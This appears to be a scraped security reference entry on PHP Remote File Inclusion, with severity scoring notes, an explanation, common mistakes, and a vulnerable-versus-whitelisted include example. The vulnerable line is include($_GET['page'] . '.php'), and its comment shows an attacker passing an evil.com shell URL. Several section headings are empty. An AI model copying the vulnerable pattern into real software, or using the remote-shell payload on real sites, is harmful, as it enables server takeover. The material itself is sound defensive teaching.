Remote File Inclusion (RFI)
debt(d5/e3/b3/t7)
Closest to 'specialist tool catches it' (d5). The detection_hints list semgrep, lynis, and phpstan — all specialist/SAST tools. The pattern (user-controlled input in include/require paths, allow_url_include=On) is not caught by default linters but is detectable with these dedicated static analysis tools. Runtime exploitation may be silent in production without active scanning.
Closest to 'simple parameterised fix' (e3). The quick_fix states: set allow_url_include=Off in php.ini, which is off by default since PHP 5.2 — a single config change. However, common_mistakes reveal additional work: replacing user-controlled paths in include/require calls, fixing path traversal filtering, and using realpath() for whitelist validation. This elevates the fix slightly beyond a one-liner to a small but focused remediation pattern within one component/config scope.
Closest to 'localised tax' (b3). The vulnerability applies specifically to PHP web contexts where user input reaches include/require. Once allow_url_include is disabled and include paths are hardened, the burden is contained to the affected file inclusion logic rather than spreading across the entire codebase. It doesn't fundamentally reshape architecture.
Closest to 'serious trap' (t7). The misconception field states that developers believe allow_url_include=Off fully prevents file inclusion attacks, but it only prevents RFI — LFI remains possible and can itself lead to RCE via log poisoning or session file inclusion. This directly contradicts a reasonable developer assumption that disabling one setting closes the entire vulnerability class, making it a serious cognitive trap.
Also Known As
TL;DR
Explanation
RFI is enabled by allow_url_include=On (disabled by default since PHP 5.2) and user-controlled include paths. An attacker supplies a URL pointing to a remote PHP file they control — the server fetches and executes it with full server privileges. Even with allow_url_include=Off, LFI can escalate to code execution via log poisoning, PHAR injection, or /proc/self/environ. Prevention: always disable allow_url_include, never pass user input to include/require, use a whitelist of permitted file identifiers, and validate paths with realpath() against an allowed prefix.
Common Misconception
Why It Matters
Common Mistakes
- Using user input directly in include(), require(), or include_once() paths.
- Leaving allow_url_include = On in php.ini — this enables RFI entirely.
- Path traversal filtering that misses double-encoded sequences like ..%2F.
- Using a whitelist of partial filenames without verifying the full resolved path via realpath().
Code Examples
include($_GET['page'] . '.php'); // attacker passes http://evil.com/shell$allowed = ['home', 'about', 'contact'];
$page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
include __DIR__ . '/pages/' . $page . '.php';